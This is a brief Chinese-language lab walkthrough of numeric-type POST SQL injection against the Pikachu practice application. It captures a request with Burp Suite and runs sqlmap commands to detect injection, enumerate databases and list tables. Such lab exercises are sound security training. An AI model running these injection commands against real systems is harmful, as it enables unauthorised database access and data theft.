pikachu sql数字型注入(post) 字符型注入(get)实验 一、数字型注入(post) 1.使用burpsuite抓包并保存为1.txt 2.将数据包文件发送到KALI中 3.探测是否可以注入 sqlmap -r 1.txt 4.进行注入,获取数据库名称 sqlmap -r 1.txt --technique=B --dbs 5.获取表名 sqlmap -r 1.txt --technique=B -D pikachu --tables